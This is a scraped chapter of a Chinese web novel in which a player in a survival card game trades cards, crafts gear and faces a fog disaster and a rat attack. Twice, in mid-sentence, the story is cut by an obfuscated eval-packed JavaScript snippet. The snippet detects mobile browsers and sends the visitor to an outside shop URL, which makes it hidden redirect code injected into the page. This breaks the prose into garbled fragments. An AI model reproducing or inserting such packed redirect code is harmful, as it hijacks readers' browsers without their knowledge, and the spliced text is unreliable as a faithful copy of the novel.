当然,最多的还是从没见过野生卡牌的玩家。 至于像秦秋怡那样,能在路边找到野生的蓝图卡,那更属于撞了大运。 光线暗淡后,野生卡牌还会发光,很是方便。 金琅咧开嘴角,嘿嘿笑了声,伸手就收起来。 但展开一瞧,她便无语地有点气笑了。 这是一张[污水]卡牌。 低头看去,原来她身前是个小池塘,却是干涸的,不知是纯运气不好,还是里面仅剩的资源都化作了这张卡牌。 可拿取卡牌不需要体力,也算省下点吧。 金琅默默安慰自己,收完就溜,毫不拖泥带水。 途中她还去了放置陷阱的地方,然而这次一个猎物都没捕获。 难道也与雾气有关? 金琅只能离开,下次再来检查。 等坐回茅草窝棚,又是整理卡牌的时间了。 增加更多的卡牌容量明显能更轻松,金琅取出一排卡牌清点。 砍树时有获得木材,同时也出了枯死木与虫蛀木,这要不是幸运E,恐怕还出不了呢。 路过的浆果丛也采下,想起之后要做的事,金琅直接将那些浆果吃掉,补充体力。 又将所有界面打开,金琅这才发现,商铺中另一把弯弓终于成功被买下,5张硬币卡存在商铺,等待卖家收取。 卡牌被交易出去后,商铺会留下买家信息的痕迹。 金琅看见,那是一位叫做【汪哲】的玩家。 而她的列表里也多出许多陌生人私信,差不多都是来询问弯弓的。 问弯弓还有没有卖,问弯弓是怎么制作,也有问合不合作的。 金琅先美滋滋地把那5张硬币卡收下了。 现在她总共有13张硬币卡,如果再攒攒,她甚至都能购买稀有卡包了! 稀有卡包比精良卡包还高一级。 金琅目光柔和地望着那排闪闪发亮的硬币卡,还好这不占卡牌容量。 而那些大部分都来问弯弓的玩家,她暂时都没答复。 虽然还有蜘蛛丝,可她反而没有弯曲木了,今天砍树也没掉落。 营火早已熄灭,金琅重新燃起,一边开始烤鼠肉,一边先打开与姜锦橙的聊天窗口: “你好呀,问问你还收土壤吗?” …… 姜锦橙此时也在用火源做料理。 可她烤的最多的,还是浆果、蘑菇和野菜。 虽说庇护所建在小溪边,但实在太小,她没见过里面有鱼的踪影。 在进游戏前,姜锦橙无肉不欢,来到游戏却被硬生生逼成素食主义者。 不过游戏改变了人体生理,饮食完全只成为生存条件,也就不在乎能有多好了。 可人类这种生物,条件一旦变好,就总想再提升提升。 姜锦橙今天也真合成出了箭矢,就拿着从金琅那买来的弯弓外出,尝试打猎。 可惜她准头极差,即使地面上出现很多回兔子,也没中一次,只能继续采集,最后灰溜溜回到庇护所。 于是当金琅发来消息,她能第一时间接收到,也能迅速回复: “不好意思,最近土壤够了,先不收了。” 种植太多,主要还是水源不够。 金琅见状,也不放弃,又问: “你这还有金属碎片吗?或者玻璃碎片。” 姜锦橙:“没有诶,你需要这些?” 金琅:“唔,这些要是没有的话,你有燧石吗?” 基础武器的攻击,目前还是碎片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586927|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矛最高。但既然没有碎片,金琅还是想着跳过木矛,直接从石矛开始做。 石矛不能用普通石头,必须要用燧石。 而金琅今天采集过岩石,仍没爆出来。 姜锦橙见到这要求,神情一顿,眼里多出几分考量。 因为她还真有燧石。 采集岩石有一定几率爆出,她的幸运值更是提高了这几率。姜锦橙就用爆出的燧石,做出了比营火更好的火坑。 如今她身边还剩下一张[燧石]卡牌,想着之后再试试能做什么,所以没有出掉。 姜锦橙只是问:“你用什么换?” 看来是有的,而这笔交易到底能不能成功,就要看自己出的东西有没有价值了。 金琅摩挲着下颏,眉间微皱,心里上上下下稍许沉浮。 姜锦橙瞧着是副什么都不缺的样子,难道她要用配方作为交换?可只是一个燧石,这真的值吗? 一股热乎乎的异香缓缓钻入鼻间,不知不觉,烤鼠肉的香味已经弥漫在庇护所。 若不是标注着鼠肉,玩家绝对会毫不犹豫地吃下这块奇香的烤肉。 可金琅烤这鼠肉,却不是用来吃的。 鼠肉会有负面反馈,能不吃就尽量不下口,但不代表其他人不愿意吃,尤其是那些缺少食物的人。 况且商铺都开张了,空卡槽也不能浪费。 金琅拾起一张[烤鼠肉]卡牌,上面有焦色烤肉的图案,下面则是描述: 【体力值+12,10%概率精神值-5】 金琅沉思片刻,抱着试探的心情问: “那你要肉吗?” 姜锦橙看到那个字眼,立刻坐直。 “什么肉?” 金琅发来物品信息,她先是嫌弃了下,却也有些无奈。 这空间里还有老鼠?她怎么就没遇上过? 显然她也没在卡包里抽到过。 姜锦橙犹豫起来:“唉,姐妹,你真没别的肉吗?这老鼠肉实在有点……” “我今天遇到鼠群了,击杀后掉的,好歹是块肉呢。” 姜锦橙挠挠脸。 自己好像有些何不食肉糜了。 算啦,大不了她明天再去打猎! “行,怎么换?” “一换一,怎么样?” “燧石也挺难爆的,两块老鼠肉吧,你这个还会扣精神值呢。” 这倒像上次那两个花环一样。 金琅勾唇摇了摇头,却也同意了。 真是好一番拉扯。 开启交易,顺利完成,金琅终于得到燧石。 收拾好后,她抬眼看向时间进度条,便又去埋入枯死木的地方。 那里已经种出蘑菇,获得[蘑菇]x5,[毒蘑菇]x1。 滤水袋也完成,而这次终于成功净化,出现一张崭新的[清水]卡牌。 金琅笑得灿烂,抚摸着光滑的牌面,更是有些眉飞色舞。 每天使用污水,到底有可能扣除精神值,只有清水是安全用处又多。 可惜,数量还是太少。 这么想着,金琅无缝衔接,直接将那张野生的[污水]与滤水袋合并,继续净化。 回到燃起的营火旁,所有鼠肉都已烤好了,她便接着烤蘑菇。 随着时间缓慢流逝,金琅听见叮咚一声,像雨滴落进水面的声响。 自从加上好友后,她明白那是专属提示音。 打开界面,果然是秦秋怡主动发来消息: “晚上好,问问你这还需要垃圾卡吗?” 15. 第15章 秦秋怡这次采集到的垃圾卡,不仅有那些常见的,还有破布。 破布这东西放在还算前期的时刻,也是占容量的卡牌。就算被玩家研究出能合成布料,作为材料仍会卡在手上。 看来秦秋怡的幸运属性确实比较低。 金琅没有要所有的垃圾卡,毕竟她的容量不是无限的。 枯死木x5、弯曲木x3、尖刺杂草x1、破布x2、快被鸟兽吃完的浆果丛x1。 这些垃圾卡,金琅用一张才新鲜出炉的[蘑菇]换回来。 虽然是能拿出手的食物卡,但这些垃圾卡最后能创造的价值,那可远大于蘑菇。 开启交易,全部接手,金琅笑逐颜开,连呼吸都变得顺畅,更是想要赶紧处理。 然而关闭交易窗口后,秦秋怡竟然又发了条消息过来: “话说我今天发现,[虫蛀木]这张卡牌好像可以被破坏?” 金琅原以为她没有获得虫蛀木,没想到是被发觉了用处。 金琅顿了顿,才问:“然后呢?你得到了什么?” 秦秋怡:“一张[树虫]卡牌,上面标注这是张怪物卡,所以我还没用。” 秦秋怡今天回到庇护所前,最后得到的卡牌就是虫蛀木。 原本遇到这种垃圾卡,她从来都是丢弃,也就现在金琅需要才收起部分。 秦秋怡看着那张虫蛀木苦笑,卡牌放在手里摩挲,时间也长了点,却没想到上方突然出现细细的进度条。 而当进度条结束后,手里的虫蛀木竟然消失,出现了一张新卡牌。 金琅:“你可以试试击杀树虫,看看有没有收获。” 她没有再说关于空心木的事,如果秦秋怡下次得到,应该还会再来询问。 但也证明,以后只会有越来越多人明白垃圾卡的用法。 就说排行榜的前排里,也一定有玩过原游戏的玩家。 金琅低垂着眼叹口气,到底是抛下脑内的万千思绪,先去处理手上的垃圾卡。 …… 加上今天外出获得,总共8个枯死木,全部埋入地下。 破坏2个虫蛀木,获得[树虫]x2、[空心木]x1。 金琅直接使用空心木,卡牌容量增至43。 可容量依然挨挨挤挤,金琅检查后,才想起那些没出掉的土壤。 指尖数次擦过冰凉的卡牌,金琅略蹙着眉头,打开交易厅。 可土壤这张卡牌也尴尬。有铲子就能获得很多,功能暂时也只开发出种田,可目前没多少玩家会去种地。 金琅查询许久,眉间也一分一分锁起。 能恰好碰到姜锦橙,可真是她的福气。 然而这样好的福气,果然再也找不到了。 金琅抿着唇,无助的眼神又往四周扫视一圈,最终停在【商店】这个选项上。 她打开界面,还有那回收卡牌的空卡槽。 可以自己的幸运值,该不会全军覆没吧? 金琅抽了抽自己有些僵硬的嘴角,好像连眼皮都跟着轻微跳动起来。 紧张吞咽一口,金琅在空卡槽里放入所有的土壤x8。 在卡牌一张张消失后,卡槽中又返来新卡牌,甚至还有丁零当啷的背景音。 金琅收起,发现是2张硬币卡。 她都做好无一生还的准备了,没想到还能有2张? 金琅展开眉头,弯起眉眼,连忙将其余卡牌取出。 重新算过后,她已经有15张硬币卡了! 所以……她要不要试试购买一次稀有级别的卡包? 金琅脑中思绪来回跳跃,心底也不断翻腾着,盘算着这一步究竟值不值。 但她手里也没停,毕竟还有很多需要尽早做好的事。 尖刺杂草丛x1,采集出荆棘x4、杂草x5。 看自己消耗殆尽的体力,金琅吃下烤虫肉,接着忙活。 青苔制作滤水袋、毒蘑菇制作陷阱、燧石制作石矛。 当然,还有那张几乎是白嫖来的蓝图卡:[荆棘护甲]。 制作需要荆棘x8、木板x4、绳子x2。 直到所有进度条都在缓缓前进,金琅这才擦擦额上薄汗,心里有着热乎乎的满足感。 击杀2只树虫,获得虫肉x4。正巧营火也快熄灭,金琅添加引燃物后,做成烤虫肉备用。 卡牌容量总算空出些,金琅从中又抽出那3张弯曲木。 正好蜘蛛丝,也只剩3个了。 直至现在,金琅收到的所有陌生人私信中,都有一半是在询问弯弓的。 或许有的玩家是看实在没有,才明白远程武器的含金量,消息才爆发式出现在金琅的列表中。 这么看来,眼下售卖弯弓,卖出去的几率就更大了。 金琅手上不停,嘴角却歪起来,全身血液也变得滚烫,仿佛眼前已经出现了很多亮闪闪的硬币卡。 而等弯弓做完,今日结束,上交界面再次闪出。 金琅上交3张[烤蘑菇]和1张[污水],最后检查一圈庇护所,这才在茅草窝棚里躺下。 背后毛刺刺凉阴阴的,半掀开的草帘外,还有营火散发出的橙黄色火光,勉强为这沉重的夜色带来些微缓和。 …… 金琅醒来后,胳膊上仍有一小片密密麻麻的鸡皮疙瘩。 她伸个懒腰,全身的骨节都在咯吱作响,被强制重启。 金琅随手打开数值: 生命值70,体力值80,精神值90。 精神值还是被扣除了,应该与污水和中途熄灭的营火有关。 上个花环在增加10点精神值后,花瓣便渐渐开始枯萎,最后化作灰烬消失。 好在还剩一个,金琅取出戴在头顶,在浅淡的清香中迎接新的一日。 完全掀起草帘离开窝棚,金琅却脚步一顿,瞳孔也倏忽缩起。 雾气更加浓了! 昨天还只是蒸气,今天就犹如半透明的层层叠叠的蜘蛛丝,更柔软地浮动在半空中。 刷新过的空间,各种资源甚至地面都像被消除了几分线条,朦朦胧胧看不清晰。 这雾气降下的速度还是太快了。金琅心里马上被这场景压得沉甸甸的,更像被缠满几层绷带,没由来得闷。 幸好还有点能见度,金琅抬手用力挥舞,倒也可以挥散些。 雾气带来的负面状态也增加了,命中率降低20%。 金琅无奈,只能先去收货。 滤水袋已经完成。旧的滤水袋没净化成功,她将新的挂在一起,同时放上[污水]。 经过一夜,石矛与荆棘护甲也都做好,这才给了金琅一点心理上的安慰。 将两张全新的卡牌收起,金琅查看: [石矛] [卡牌类型:武器丨稀有度:普通] [伤害:C-丨耐久:30次] 【最原始的武器之一,将就着用吧。】 石矛的伤害要低些,但耐久倒是多点。 [荆棘护甲] [卡牌类型:防具丨稀有度:精良] [防御:B-丨耐久:500] 【一套镶嵌上荆棘尖刺的护甲。受到敌人攻击时,20%概率 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587864|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产生反伤,造成20-30伤害。】 金琅眼前一亮。 不愧是需要蓝图卡才能制作的,这还是她第一次获得精良级装备! 最重要的是护甲有个好处,穿上后这张卡牌就会离开,不会再占卡牌容量! 金琅连忙穿上护甲与武器,个人属性果然改变了: 【攻击:C+丨防御:B丨敏捷:C】 命中率因为雾气,此时只有B-了。 本质用木头制作的护甲包裹着全身,上面还有着尖利的倒刺。 只是护甲不保护手臂,金琅空出的那截小臂依然凉飕飕的。 这让她忽然想起,除开护甲,游戏里还有护盾这类装备。 但是可惜,她记得最基础的护盾,也必须要有蓝图卡才能制作。 金琅又抬眼望着前方的大雾,发愁地颤颤睫毛,心里就像这一股股翻涌的雾气七上八下。 现在外出探索肯定会更危险,可也许明天这雾气又会变浓,连最后一点视野都会被剥夺。 金琅沉思顷刻,却打开了【庇护所】界面。 虽说已经竭尽全力先升到2级,但她推测着,这浓雾恐怕不会持续太久。 万一在下场灾难降临前,游戏又要抹杀没升级的玩家怎么办? 如同新手期最后一日那临时的通知,简直把玩家们当臭狗一样玩耍。 所以金琅仍旧看了眼。 升级3级庇护所,需要木材x15,木板x10,杂草x10,黏土x5。 这是茅草屋要朝木屋的方向升级了啊? 也与金琅想的相同,果然还需要黏土。 但以金琅来看,这些材料里面最难获得的反而是黏土,其他都是基础材料。 工具也换新,金琅便带上所有卡牌,向大雾中前进。 …… 先去之前放下陷阱的地方,这次总算有收获,却只捕到一只鸟。 不知是新手期过了,还是这大雾的缘故,兔洞旁的陷阱始终没动静。 而且因为空间刷新过,兔洞已不在这里了。金琅只能将荆棘陷阱收回。 她找到另一个距离庇护所相近的兔洞,换上新做的毒饵陷阱。 又在附近找到其他兔洞,还放出刚获得的[快被吃完的浆果丛],放下2个荆棘陷阱。 金琅满意地看着自己的布置,拍拍手又拿出工具,开始砍树和采集杂草。 铲子的耐久也快用完了,与先前相同,金琅挖出大多数都是土壤,这也使她不经意间越走越远,而四周也早已是烟雾迷蒙。 “咔嚓”一声,手中的铲子应声破碎,被雾气一卷就消失在视野中。 而金琅已经获得了土壤x12、黏土x3。 木材杂草随手可得,这黏土可总算是凑齐了。 金琅想先回去了再在周围寻找材料,说不定今天就能升级3级庇护所呢! 比起雾气带来的寒凉,金琅眼底反而映出少许暖意,继而闪烁出兴奋来,抬脚就转身离开。 “吱吱……” 尖锐的磨牙声仿佛能打出火花,金琅顿时停下,后脑勺却一阵发凉,心也瞬间沉入冰冷的湖底。 赶忙抽出金属长矛,矛头在雾中反射出微量光芒,才让她稍稍安心。 好消息:这次的鼠叫听上去数量极少。 坏消息:叫声响亮,听着来者不善! 金琅深吸一口气,雾里夹杂着绿植与淡淡的腥味,全都融为一体。 快速转身,一道黑影却更迅捷地朝她脸上扑了过来。 而金琅最先见到的,是一双无比尖利的双爪!